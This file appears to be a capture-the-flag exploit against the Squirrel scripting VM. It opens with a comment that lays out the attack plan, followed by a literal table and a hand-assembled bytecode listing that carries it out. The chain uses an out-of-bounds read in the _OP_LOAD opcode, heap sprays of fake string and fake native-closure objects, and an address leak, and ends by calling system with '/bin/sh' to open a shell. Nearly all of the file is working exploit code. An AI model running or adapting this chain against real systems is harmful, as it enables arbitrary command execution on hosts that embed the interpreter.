# This is the general plan:
# We start by creating a blob object which will serve as a buffer to write to.
# 
# It has to be sprayed with a bunch of tagSQObjects with their type set to
# OT_STRING and the _unVal pointer set to our readTarget - offsetof(stringobject->data)
# 
# Now we exploit the OOB read in _OP_LOAD to load one of these fakestrings
# Reading from this object will interpret the 8 bytes at readTarget-0xc as len (INT64_t)
# 
# We'll read from "(SQObject *)print" to get a pointer to print's _function
# This inturn can be used to calculate the _function address of system. Our highlevel goal
# is to build a fakeNativeClosure that points to system, which we then could call to get a shell. 
#
# Now that we know, the system pointer, all that's left to do is to prepare the heap properly.
#
# The approach to get a fakeNativeClosure will be very similar to the one we used to get fakeStrings. 
# Again we'll start with a heap spray of tagSQObjects. 
# This time however we'll have the type set to OT_NativeClosure and their _function pointer will point to
# system. 
# The only thing left now it to call one of our fakeOT_NativeClosure objects with "/bin/sh\x00"
# 


LITERALS = [
    b'blob', b'format', b'tostring', b'slice', b'tointeger', b'print', b'[i] Format is at: 0x%016x\n', 
    b'[i] Print is at: 0x%016x\n', b'/bin/sh\x00', b'[~] Performing fakeString Spray with 0x%016x!...\n', 
    b'len', b'writen', b'AAAABBBBCCCCDDDD', b'formatClosure: 0x%016x, cur=0x%02x\n', b'[+] Got rand _function leak: 0x%016x!\n', 
    b'[~] Performing fakeNativeClosure Spray with 0x%016x!...\n', b'seek', b'[+] Getting fakeClosure!\n', b'system'
]

INSTRUCTIONS = [
    '[0x0] _OP_PREPCALLK: 0x2, 0x0, 0x0, 0x3',
    '[0x1] _OP_LOADINT: 0x4, 0x400, 0x0, 0x0',
    '[0x2] _OP_LOADINT: 0x5, 0x28, 0x0, 0x0',
    '[0x3] _OP_MUL: 0x4, 0x5, 0x4, 0x0',
    '[0x4] _OP_CALL: 0x2, 0x2, 0x3, 0x2',
    '[0x5] _OP_GETK: 0x3, 0x1, 0x0, 0x0',
    '[0x6] _OP_PREPCALLK: 0x3, 0x2, 0x3, 0x4',
    '[0x7] _OP_CALL: 0x3, 0x3, 0x4, 0x1',
    '[0x8] _OP_PREPCALLK: 0x3, 0x3, 0x3, 0x4',
    '[0x9] _OP_LOADINT: 0x5, 0x10, 0x0, 0x0',
    '[0xa] _OP_LOADINT: 0x6, -0x1, 0x0, 0x0',
    '[0xb] _OP_CALL: 0x3, 0x3, 0x4, 0x3',
    '[0xc] _OP_PREPCALLK: 0x3, 0x4, 0x3, 0x4',
    '[0xd] _OP_LOADINT: 0x5, 0x10, 0x0, 0x0',
    '[0xe] _OP_CALL: 0x3, 0x3, 0x4, 0x2',
    '[0xf] _OP_GETK: 0x4, 0x5, 0x0, 0x0',
    '[0x10] _OP_PREPCALLK: 0x4, 0x2, 0x4, 0x5',
    '[0x11] _OP_CALL: 0x4, 0x4, 0x5, 0x1',
    '[0x12] _OP_PREPCALLK: 0x4, 0x3, 0x4, 0x5',
    '[0x13] _OP_LOADINT: 0x6, 0x10, 0x0, 0x0',
    '[0x14] _OP_LOADINT: 0x7, -0x1, 0x0, 0x0',
    '[0x15] _OP_CALL: 0x4, 0x4, 0x5, 0x3',
    '[0x16] _OP_PREPCALLK: 0x4, 0x4, 0x4, 0x5',
    '[0x17] _OP_LOADINT: 0x6, 0x10, 0x0, 0x0',
    '[0x18] _OP_CALL: 0x4, 0x4, 0x5, 0x2',
    '[0x19] _OP_PREPCALLK: 0x5, 0x5, 0x0, 0x6',
    '[0x1a] _OP_PREPCALLK: 0x7, 0x1, 0x0, 0x8',
    '[0x1b] _OP_LOAD: 0x9, 0x6, 0x0, 0x0',
    '[0x1c] _OP_MOVE: 0xa, 0x3, 0x0, 0x0',
    '[0x1d] _OP_CALL: 0x7, 0x7, 0x8, 0x3',
    '[0x1e] _OP_CALL: 0xff, 0x5, 0x6, 0x2',
    '[0x1f] _OP_PREPCALLK: 0x5, 0x5, 0x0, 0x6',
    '[0x20] _OP_PREPCALLK: 0x7, 0x1, 0x0, 0x8',
    '[0x21] _OP_LOAD: 0x9, 0x7, 0x0, 0x0',
    '[0x22] _OP_MOVE: 0xa, 0x4, 0x0, 0x0',
    '[0x23] _OP_CALL: 0x7, 0x7, 0x8, 0x3',
    '[0x24] _OP_CALL: 0xff, 0x5, 0x6, 0x2',
    '[0x25] _OP_LOADINT: 0x5, 0x40, 0x0, 0x0',
    '[0x26] _OP_SUB: 0x5, 0x5, 0x3, 0x0',
    '[0x27] _OP_LOADINT: 0x6, 0x0, 0x0, 0x0',
    '[0x28] _OP_LOAD: 0x7, 0x8, 0x0, 0x0',
    '[0x29] _OP_PREPCALLK: 0x8, 0x5, 0x0, 0x9',
    '[0x2a] _OP_PREPCALLK: 0xa, 0x1, 0x0, 0xb',
    '[0x2b] _OP_LOAD: 0xc, 0x9, 0x0, 0x0',
    '[0x2c] _OP_MOVE: 0xd, 0x5, 0x0, 0x0',
    '[0x2d] _OP_CALL: 0xa, 0xa, 0xb, 0x3',
    '[0x2e] _OP_CALL: 0xff, 0x8, 0x9, 0x2',
    '[0x2f] _OP_LOADINT: 0x8, 0x0, 0x0, 0x0',
    '[0x30] _OP_PREPCALLK: 0x9, 0xa, 0x2, 0xa',
    '[0x31] _OP_CALL: 0x9, 0x9, 0xa, 0x1',
    '[0x32] _OP_JCMP: 0x9, 0xf, 0x8, 0x3',
    '[0x33] _OP_PREPCALLK: 0x9, 0xb, 0x2, 0xa',
    '[0x34] _OP_LOADINT: 0xb, 0x8000010, 0x0, 0x0',
    '[0x35] _OP_LOADINT: 0xc, 0x69, 0x0, 0x0',
    '[0x36] _OP_CALL: 0xff, 0x9, 0xa, 0x3',
    '[0x37] _OP_PREPCALLK: 0x9, 0xb, 0x2, 0xa',
    '[0x38] _OP_LOADINT: 0xb, 0x42424242, 0x0, 0x0',
    '[0x39] _OP_LOADINT: 0xc, 0x69, 0x0, 0x0',
    '[0x3a] _OP_CALL: 0xff, 0x9, 0xa, 0x3',
    '[0x3b] _OP_PREPCALLK: 0x9, 0xb, 0x2, 0xa',
    '[0x3c] _OP_MOVE: 0xb, 0x5, 0x0, 0x0',
    '[0x3d] _OP_LOADINT: 0xc, 0x6c, 0x0, 0x0',
    '[0x3e] _OP_CALL: 0xff, 0x9, 0xa, 0x3',
    '[0x3f] _OP_LOADINT: 0x9, 0x10, 0x0, 0x0',
    '[0x40] _OP_ADD: 0x8, 0x9, 0x8, 0x0',
    '[0x41] _OP_JMP: 0x0, -0x12, 0x0, 0x0',

    # Load the fakestring to leak printClosure->_function
    '[0x12] _OP_LOADNULLS:  0x00, 0x01, 0x00, 0x00',
    '[0x33] _OP_MOVE: 0x8, 0x%x, 0x0, 0x0' % ((0xd650+0x5000) >> 4),

    '[0x45] _OP_LOADINT: 0x9, 0x77, 0x0, 0x0',
    '[0x46] _OP_LOADINT: 0xa, 0x70, 0x0, 0x0',
    '[0x47] _OP_JCMP: 0xa, 0x11, 0x9, 0x2',
    '[0x48] _OP_GET: 0xa, 0x8, 0x9, 0x0',
    '[0x49] _OP_LOADINT: 0xb, 0xff, 0x0, 0x0',
    '[0x4a] _OP_BITW: 0xa, 0xb, 0xa, 0x0',
    '[0x4b] _OP_ADD: 0x6, 0xa, 0x6, 0x0',
    '[0x4c] _OP_LOADINT: 0xb, 0x70, 0x0, 0x0',
    '[0x4d] _OP_NE: 0xb, 0xb, 0x9, 0x0',
    '[0x4e] _OP_JZ: 0xb, 0x2, 0x0, 0x0',
    '[0x4f] _OP_LOADINT: 0xb, 0x8, 0x0, 0x0',
    '[0x50] _OP_BITW: 0x6, 0xb, 0x6, 0x4',
    '[0x51] _OP_PREPCALLK: 0xb, 0x5, 0x0, 0xc',
    '[0x52] _OP_PREPCALLK: 0xd, 0x1, 0x0, 0xe',
    '[0x53] _OP_LOAD: 0xf, 0xd, 0x0, 0x0',
    '[0x54] _OP_DMOVE: 0x10, 0x6, 0x11, 0xa',
    '[0x55] _OP_CALL: 0xd, 0xd, 0xe, 0x4',
    '[0x56] _OP_CALL: 0xff, 0xb, 0xc, 0x2',
    '[0x57] _OP_PINCL: 0xa, 0x9, 0x0, 0xff',
    '[0x58] _OP_JMP: 0x0, -0x13, 0x0, 0x0',
    '[0x59] _OP_PREPCALLK: 0x9, 0x5, 0x0, 0xa',
    '[0x5a] _OP_PREPCALLK: 0xb, 0x1, 0x0, 0xc',
    '[0x5b] _OP_LOAD: 0xd, 0xe, 0x0, 0x0',
    '[0x5c] _OP_MOVE: 0xe, 0x6, 0x0, 0x0',
    '[0x5d] _OP_CALL: 0xb, 0xb, 0xc, 0x3',
    '[0x5e] _OP_CALL: 0xff, 0x9, 0xa, 0x2',
    '[0x5f] _OP_LOADINT: 0x9, 0x4a0, 0x0, 0x0',
    '[0x60] _OP_ADD: 0x9, 0x9, 0x6, 0x0',
    '[0x61] _OP_PREPCALLK: 0xa, 0x5, 0x0, 0xb',
    '[0x62] _OP_PREPCALLK: 0xc, 0x1, 0x0, 0xd',
    '[0x63] _OP_LOAD: 0xe, 0xf, 0x0, 0x0',
    '[0x64] _OP_MOVE: 0xf, 0x9, 0x0, 0x0',
    '[0x65] _OP_CALL: 0xc, 0xc, 0xd, 0x3',
    '[0x66] _OP_CALL: 0xff, 0xa, 0xb, 0x2',
    '[0x67] _OP_PREPCALLK: 0xa, 0x10, 0x2, 0xb',
    '[0x68] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x69] _OP_CALL: 0xff, 0xa, 0xb, 0x2',
    '[0x6a] _OP_LOADINT: 0xa, 0x0, 0x0, 0x0',
    '[0x6b] _OP_PREPCALLK: 0xb, 0xa, 0x2, 0xc',
    '[0x6c] _OP_CALL: 0xb, 0xb, 0xc, 0x1',
    '[0x6d] _OP_LOADINT: 0xc, 0x80, 0x0, 0x0',
    '[0x6e] _OP_SUB: 0xb, 0xc, 0xb, 0x0',
    '[0x6f] _OP_JCMP: 0xb, 0x10, 0xa, 0x3',
    '[0x70] _OP_PREPCALLK: 0xb, 0xb, 0x2, 0xc',
    '[0x71] _OP_LOADINT: 0xd, 0x8000200, 0x0, 0x0',
    '[0x72] _OP_LOADINT: 0xe, 0x69, 0x0, 0x0',
    '[0x73] _OP_CALL: 0xff, 0xb, 0xc, 0x3',
    '[0x74] _OP_PREPCALLK: 0xb, 0xb, 0x2, 0xc',
    '[0x75] _OP_LOADINT: 0xd, 0x43434343, 0x0, 0x0',
    '[0x76] _OP_LOADINT: 0xe, 0x69, 0x0, 0x0',
    '[0x77] _OP_CALL: 0xff, 0xb, 0xc, 0x3',
    '[0x78] _OP_PREPCALLK: 0xb, 0xb, 0x2, 0xc',
    '[0x79] _OP_LOADINT: 0xd, 0x12700, 0x0, 0x0',
    '[0x7a] _OP_ADD: 0xd, 0xd, 0x4, 0x0',
    '[0x7b] _OP_LOADINT: 0xe, 0x6c, 0x0, 0x0',
    '[0x7c] _OP_CALL: 0xff, 0xb, 0xc, 0x3',
    '[0x7d] _OP_LOADINT: 0xb, 0x10, 0x0, 0x0',
    '[0x7e] _OP_ADD: 0xa, 0xb, 0xa, 0x0',
    '[0x7f] _OP_JMP: 0x0, -0x15, 0x0, 0x0',
    '[0x80] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x81] _OP_LOADINT: 0xc, 0x55545352, 0x0, 0x0',
    '[0x82] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x83] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x84] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x85] _OP_LOADINT: 0xc, 0x1, 0x0, 0x0',
    '[0x86] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x87] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x88] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x89] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x8a] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x8b] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x8c] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x8d] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x8e] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x8f] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x90] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x91] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x92] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x93] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x94] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x95] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x96] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x97] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x98] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x99] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x9a] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x9b] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0x9c] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0x9d] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0x9e] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0x9f] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xa0] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xa1] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0xa2] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xa3] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xa4] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xa5] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0xa6] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xa7] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xa8] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xa9] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0xaa] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xab] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xac] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xad] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0xae] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xaf] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xb0] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xb1] _OP_LOADINT: 0xc, 0x0, 0x0, 0x0',
    '[0xb2] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xb3] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xb4] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xb5] _OP_MOVE: 0xc, 0x9, 0x0, 0x0',
    '[0xb6] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xb7] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xb8] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xb9] _OP_LOADINT: 0xc, 0x8000010, 0x0, 0x0',
    '[0xba] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xbb] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xbc] _OP_PREPCALLK: 0xa, 0xb, 0x2, 0xb',
    '[0xbd] _OP_MOVE: 0xc, 0x6, 0x0, 0x0',
    '[0xbe] _OP_LOADINT: 0xd, 0x6c, 0x0, 0x0',
    '[0xbf] _OP_CALL: 0xff, 0xa, 0xb, 0x3',
    '[0xc0] _OP_PREPCALLK: 0xa, 0x5, 0x0, 0xb',
    '[0xc1] _OP_LOAD: 0xc, 0x11, 0x0, 0x0',
    '[0xc2] _OP_CALL: 0xff, 0xa, 0xb, 0x2',
 
 
    # Call our fakeNativeClosure
    '[0x12] _OP_LOADNULLS:  0x00, 0x01, 0x00, 0x00',
    '[0xc5] _OP_MOVE: 0xc, 0x7, 0x0, 0x0',
    '[0xc6] _OP_CALL: 0xff, 0x%x, 0xb, 0x2' % ((0xd650+0x5000) >> 4),   

]
